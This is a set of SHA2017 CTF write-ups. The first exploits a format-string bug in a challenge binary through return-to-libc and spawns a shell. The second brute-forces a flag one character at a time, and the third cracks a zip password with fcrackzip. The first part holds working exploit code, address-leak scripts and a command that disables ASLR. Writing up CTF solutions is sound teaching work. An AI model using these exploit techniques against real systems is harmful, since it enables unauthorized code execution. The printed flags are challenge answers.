Aug 6, 2017 - SHA2017 CTF : Megan-35

Author: aagallag

Publish Date: 2017-08-06

Category: Pwnable

Points: 200

Description:

We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535

megan-35 - 5f12aa57589088dc14c2d589b97b4d4d

libc.so.6 - a503ef51452760010c1dbd421ac26635

When working on binary exploitation challenges, I usually approach them in 3 stages.

  1. Basic Reverse Engineering - Get a rough idea of how the binary works.
  2. Testing/Bughunting - My testing usually begins with manual fuzzing, if I can’t find the bug, I will go back and reverse engineer it further.
  3. Exploit Development - Once I have found the bug, the real fun begins!

Recommended Reading

For those who are new to binary exploitation, I recommend you read the following:

Reverse Engineering

So this binary simply takes a string as user input, and attempts to decode it using Megan-35. At first, I didn’t realize that Megan-35 was a real encoding, but rather, I assumed it was one created for the CTF. So I spent a lot of time attempting to reverse-engineer the encoding from the assembly. I then had the idea that I should search Google for Megan-35. I then stumbled upon this Python script on Github.

Awesome! A Python-based implementation for encoding/decoding strings!

Testing/Bughunting

From the previous stage, I had noticed what appeared to be an uncontrolled printf call. Let’s verify that quickly now that we have an easy way to encode arbitrary text into Megan-35.

I encode the payload following string format into Megan-35:

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

And manually enter it into the binary:

$ ./megan-35 
Decrypt your text with the MEGAN-35 encryption.
Od3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQW55
0804b818.f7fce5a0.00000000.00000000.00000000.00000000.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.

Great! We now have our bug, a classic string format vulnerability.

Exploit Development

The first step I usually take when developing an exploit for a binary, is to run checksec on it.

$ checksec megan-35
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Since NX is enabled, we can’t simply put a bunch of shellcode on the stack and return to that. However, the CTF organizers were nice enough to provide us a copy of libc, a return-to-libc attack should work perfectly on this binary.

Now is probably a good time to emulate the remote system configuration as closely as possible. In order to use the supplied libc library, instead of the one installed with your operating system, simply execute the following:

$ export LD_PRELOAD=./libc.so.6

This terminal session will now use the same version of Libc that the remote target is running. Next, we should disable ASLR as it is disabled on the remote target. Simply execute the following:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now that our setup configuration closely resembles the remote server, lets try and figure out which argument contains the beginning of my payload. I try using the following payload:

payload = ''
payload += 'AAAA'
payload += '%x.'*200

But I don’t see a value of 41414141 get printed, it appears that this format string exceeds the max buffer. So instead, I write a script to directly access each parameter until it finds the one that contains the first 4 bytes of our string format.

def find_arg_offset():
    for i in range(0,500):
        p = getp()
        payload = ''
        payload += 'AAAA%'
        payload += str(i)
        payload += '$x'
        cipher = encode(megan35, payload)
        p.sendline(cipher)
        ret = p.recvall()
        print(ret)
        if '41414141' in ret:
            print(i)
            print('Found it!')
            return i

It ends up finding 41414141 at argument 71. Combine this with the ‘%hn’ format, and we can now overwrite arbitrary memory.

So to perform the return-to-libc attack, we will want to setup the stack as such:

|---+---+---+---|---+---+---+---|---+---+---+---|
 [ RETURN ADDR ] [     DUMM    ] [    PARAM1   ]

The reason why we have DUMM in between the return address and param1 is because that is the address that will get jumped to after our libc function call has completed. I don’t care to fill this in with a meaningful address because after we exit the shell, I don’t care what happens to the program (it will crash).

So we really only need to overwrite 2 addresses, the return address and the parameter address. We will point the return address to the libc function, system and param1 should point to the string \bin\sh\x00. We could have put \bin\sh\x00 at the end of our payload and set the parameter address to a value on the stack, but since we have to caluclate the libc address for system, it was just as easy to find the string \bin\sh\x00 directly in libc.so.6. To simplify this task, I used pwntools to calculate the necessary addresses.

libc = ELF('./libc.so.6')
libc.address = printf_addr - libc.symbols['printf']
print('System...')
print(hexdump(libc.symbols['system']))
print('/bin/sh...')
print(hexdump(next(libc.search('/bin/sh\x00'))))

But on each system, libc may be loaded at a slightly different offset (but thankfully, since ASLR was disabled, libc will be loaded into the same location each time).

So to find the libc address, I first used a debugger to find what address printf was being loaded at on my local setup. Then I dumped the values on the stack until I found one that was close to printf. I discovered that argument #46 on the stack contains a value that is offset from printf by 0x35D3B. So I wrote a function to reliably deliver the printf address (assuming ASLR is disabled on the machine).

def get_printf_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%46$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0x35D3B

I then did something similar for finding the address on the stack containing the return address.

def get_retn_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%96$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0xc

Finally, I am ready to build the string format exploit. Since %hn writes only 2 bytes at a time, we will have to perform a total of 4 writes to modify the 2 addresses. I add the address with the smallest value to overwrite first ascending to the largest overwrite value. And then I write to the arguments in the order that they are on the stack.

Here were the calculated memory addresses on the remote server:

System...
00000000  40 39 e5 f7                                         │@9··││
00000004
/bin/sh...
00000000  0b 20 f7 f7                                         │· ··││
00000004

And the final exploit code:

retn_addr = get_retn_addr()
print('0x%x' % retn_addr)

p = getp()
fmt = ''
fmt += p32(retn_addr+8)
fmt += p32(retn_addr)
fmt += p32(retn_addr+2)
fmt += p32(retn_addr+8+2)
fmt += '%8187x%71$hn'
fmt += '%6453x%72$hn'
fmt += '%48805x%73$hn'
fmt += '%18x%74$hn'
    
payload = encode(megan35, fmt)
p.sendline(payload)
p.interactive()

And finally, we have popped a shell, now to get our flag!

$ ls -la
total 116
drwxr-xr-x  25 root root  4096 Aug  5 09:57 .
drwxr-xr-x  25 root root  4096 Aug  5 09:57 ..
drwxr-xr-x   2 root root 12288 Aug  4 14:41 bin
drwxr-xr-x   3 root root  4096 Aug  4 14:45 boot
drwxr-xr-x  15 root root  3820 Aug  5 09:57 dev
drwxr-xr-x  95 root root  4096 Aug  5 11:35 etc
-rw-r--r--   1 root root    39 Jul 21 16:48 flag
drwxr-xr-x   4 root root  4096 Jul 21 16:48 home
lrwxrwxrwx   1 root root    30 Aug  4 12:03 initrd.img -> boot/initrd.img-4.4.0-1028-aws
lrwxrwxrwx   1 root root    30 Jul 26 16:48 initrd.img.old -> boot/initrd.img-4.4.0-1026-aws
drwxr-xr-x  21 root root  4096 Jul 21 16:48 lib
drwxr-xr-x   2 root root  4096 Jul 21 16:48 lib32
drwxr-xr-x   2 root root  4096 Jun 19 23:49 lib64
drwxr-xr-x   2 root root  4096 Jul 21 16:48 libx32
drwx------   2 root root 16384 Jun 19 23:58 lost+found
drwxr-xr-x   2 root root  4096 Jun 19 23:49 media
drwxr-xr-x   2 root root  4096 Jun 19 23:49 mnt
drwxr-xr-x   2 root root  4096 Jun 19 23:49 opt
d--x--x--x 143 root root     0 Aug  5 09:57 proc
drwx------   3 root root  4096 Jul 23 21:17 root
drwxr-xr-x  24 root root   960 Aug  6 15:21 run
drwxr-xr-x   2 root root 12288 Aug  4 14:41 sbin
drwxr-xr-x   2 root root  4096 Apr 29 08:38 snap
drwxr-xr-x   2 root root  4096 Jun 19 23:49 srv
dr-xr-xr-x  13 root root     0 Aug  5 12:06 sys
drwxrwxrwt   8 root root  4096 Aug  6 23:17 tmp
drwxr-xr-x  12 root root  4096 Jul 21 16:48 usr
drwxr-xr-x  14 root root  4096 Jul 21 16:45 var
lrwxrwxrwx   1 root root    27 Aug  4 12:03 vmlinuz -> boot/vmlinuz-4.4.0-1028-aws
lrwxrwxrwx   1 root root    27 Jul 26 16:48 vmlinuz.old -> boot/vmlinuz-4.4.0-1026-aws

$ cat flag
flag{43eb404b714b8d22e1168775eba1669c}

Complete exploit implementation

Flag

flag{43eb404b714b8d22e1168775eba1669c}

Aug 6, 2017 - SHA2017 CTF : asby

Author: aagallag

Publish Date: 2017-08-06

Category: Binary

Points: 100

Description:

Eindbazen team member asby has by far been putting the most energy and time in creating the SHA2017 CTF. To honor his dedication and all his effort we created this challenge as an ode to him.

You can choose to reverse engineer this challenge or you can "asby" it. Good luck with the option you choose.

asby.tgz - 7422948a4034252d45cee02753b3d13b

This challenge didn’t require much reversing. I opened up the binary in IDA Pro only long enough for me to realize that the binary checks the supplied flag one character at a time and it will report if each character is correct. Then, I checked the home page of the CTF and noticed that the flag format is very predictable.

All flags will have the layout of flag{MD5} and are case insensitive.

Both of these facts combined makes the flag very easy to bruteforce. Since MD5 hashes are base-16 hex, we know each character only has 16 possibilites. So I wrote a quick python script to brute force the flag, one character at a time.

import subprocess

def getp():
    p=subprocess.Popen(['asby.exe'],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    return p

def tryflag(p, possible_flag):
    command = possible_flag + '\r\n'
    p.stdin.write(command)
    for i in range(len(possible_flag)):
        response=p.stdout.readline()
        if 'WRONG!' in response:
            return False
    return True

p = getp()
assert(tryflag(p, 'flag{'))
assert(tryflag(p, 'flag{0'))

flag = 'flag{'

for x in range(32):
    for y in range(16):
        c = '%x' % y
        if tryflag(p, flag + c):
        	print(flag)
            flag += c
            break

flag += '}'
print(flag)

And the output from the script:

flag{
flag{0
flag{02
flag{024
flag{024b
flag{024ba
flag{024baa
flag{024baa8
flag{024baa8a
flag{024baa8ac
flag{024baa8ac0
flag{024baa8ac03
flag{024baa8ac03e
flag{024baa8ac03ef
flag{024baa8ac03ef2
flag{024baa8ac03ef22
flag{024baa8ac03ef22f
flag{024baa8ac03ef22fd
flag{024baa8ac03ef22fdd
flag{024baa8ac03ef22fdde
flag{024baa8ac03ef22fdde6
flag{024baa8ac03ef22fdde61
flag{024baa8ac03ef22fdde61c
flag{024baa8ac03ef22fdde61c0
flag{024baa8ac03ef22fdde61c0f
flag{024baa8ac03ef22fdde61c0f1
flag{024baa8ac03ef22fdde61c0f11
flag{024baa8ac03ef22fdde61c0f110
flag{024baa8ac03ef22fdde61c0f1106
flag{024baa8ac03ef22fdde61c0f11069
flag{024baa8ac03ef22fdde61c0f11069f
flag{024baa8ac03ef22fdde61c0f11069f2
flag{024baa8ac03ef22fdde61c0f11069f2f}

Flag

flag{024baa8ac03ef22fdde61c0f11069f2f}

Aug 6, 2017 - SHA2017 CTF - Junior : Zipfile Two

Author: aagallag

Publish Date: 2017-08-06

Category: Misc

Points: 2

Description:

We received another zip file, which also requires a password. All we know is that the password is an existing English word with a length of 6 and all lowercase. Can you crack this password?

zipfiletwo.zip - 72bac30689c07b30cf9a4c6f74bcbdd9

Very similar to Zipfile Two, we are provided with enough information about the file that brute-forcing it will be rather quick. Again, I used fcrackzip but tweaked the parameters to match this challenge.

$ fcrackzip -c a -b -l 6-6 -u zipfiletwo.zip


PASSWORD FOUND!!!!: pw == future

And again, unzip the file with the password future to reveal a text file containing the flag.

Flag

flag{7128d78caf1e3297386a09afae0f8ea4}